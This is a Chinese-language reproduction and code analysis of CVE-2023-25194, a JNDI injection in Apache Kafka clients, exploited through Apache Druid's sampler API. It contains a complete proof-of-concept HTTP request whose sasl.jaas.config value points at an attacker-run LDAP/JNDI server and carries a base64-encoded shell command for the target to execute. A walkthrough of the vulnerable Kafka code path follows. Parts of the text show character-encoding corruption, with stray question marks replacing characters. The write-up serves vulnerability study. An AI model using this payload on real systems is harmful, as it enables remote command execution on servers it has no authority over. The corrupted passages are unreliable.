Apache Kafka是一個開源分布式消息隊列,Kafka clients是相對應的Java客戶端。尤其是在大數(shù)據(jù)開發(fā)中(實時數(shù)據(jù)處理和分析)。為集成其他系統(tǒng)和解耦應用,經常使用Producer來發(fā)送消息到Broker,并使用Consumer來消費Broker中的消息。Kafka Connect是到0.9版本才提供的并極大地簡化了其他系統(tǒng)與Kafka的集成。Kafka Connect運用用戶快速定義并實現(xiàn)各種Connector(File,Jdbc,Hdfs等),這些功能讓大批量數(shù)據(jù)導入/導出Kafka很方便。在版本3.3.2及以前,Apache Kafka clients中存在一處JNDI注入漏洞(CVE-2023-25194)。通過 Kafka Connect REST API 配置連接器時, 經過身份驗證的操作員可以將連接器的任何Kafka客戶端的“sasl.jaas.config”屬性設置為“com.sun.security.auth.module.JndiLoginModule”, LoginModule允許訪問用戶指定的JNDI 服務提供商, 因此導致JNDI注入。進而導致JNDI注入漏洞,執(zhí)行任意命令。
2.4.0<=Apache kafka<=3.2.2
其他影響:
0.19.0 <= Apache Druid <= 25.0.0
本次漏洞環(huán)境使用了durid,因為durid使用kafka-clients來連接Kafka作為其數(shù)據(jù)源之一。
目標靶機:
Jndi主機:
通過JNDIExploit-master開啟一個惡意jndi服務器。

Poc:
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 192.168.32.129:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1449
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
攻擊效果:
docker exec -i -t [容器id] /bin/bash
/tmp/success 存在證明漏洞利用成功
由于漏洞復現(xiàn)基于durid的kafka組件,durid不支持僅支持unix、ios等系統(tǒng),故漏洞分析使用windows直接搭建kafka進行分析。啟動zookeeper和server:(注意目錄不能有中文)
bin\windows\zookeeper-server-start.bat config\zookeeper.properties
bin\windows\kafka-server-start.bat config\server.properties
定位分析該接口具體的代碼
@Path("/druid/indexer/v1/sampler")
public class SamplerResource {
@POST
@Consumes({"application/json"})
@Produces({"application/json"})
@ResourceFilters({StateResourceFilter.class})
public SamplerResponse post(SamplerSpec sampler) {
return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43
}
}
定位代碼發(fā)現(xiàn)KafkaSamplerSpec接口的sample方法具體實現(xiàn)在父類
sample具體的實現(xiàn)是在SeekableStreamSamplerSpec類中。在KafkaProducer的構造函數(shù)中,會基于properties初始化ProducerConfig的實例config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中創(chuàng)建ChannelBuilder:
然后當security.protocol為SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism時基于config信息?成 JaasContext的實例,然后?成 SaslChannelBuilder實例:
在new JaasConfig(globalContextName, dynamicJaasConfig.value())中會把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的實例。然后調?channelBuilder.configure(configs)?法, 后?進入LoginManager.acquireLoginManager。
然后進入JndiLoginModule的login?法:userProvider以及groupProvider都不為null, 并且設置了 useFirstPass=true或tryFirstPass=true時都會進入attemptAuthentication?法,在這?會調? InitialContext實例的lookup(userProvider)?法,從?導致JNDI注入。
綜上, 只要攻擊者可以控制kafka-clients連接時的屬性, 將屬性的配置項security.protocol設置為SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值設置為 com.sun.security.auth.module.JndiLoginModule, 并且配置項中的userProvider以及groupProvider都不為null, 同 時設置了useFirstPass=true或tryFirstPass=true時, kafka client就會發(fā)起JNDI連接, 從?導致JNDI注入漏洞。
流程圖如下: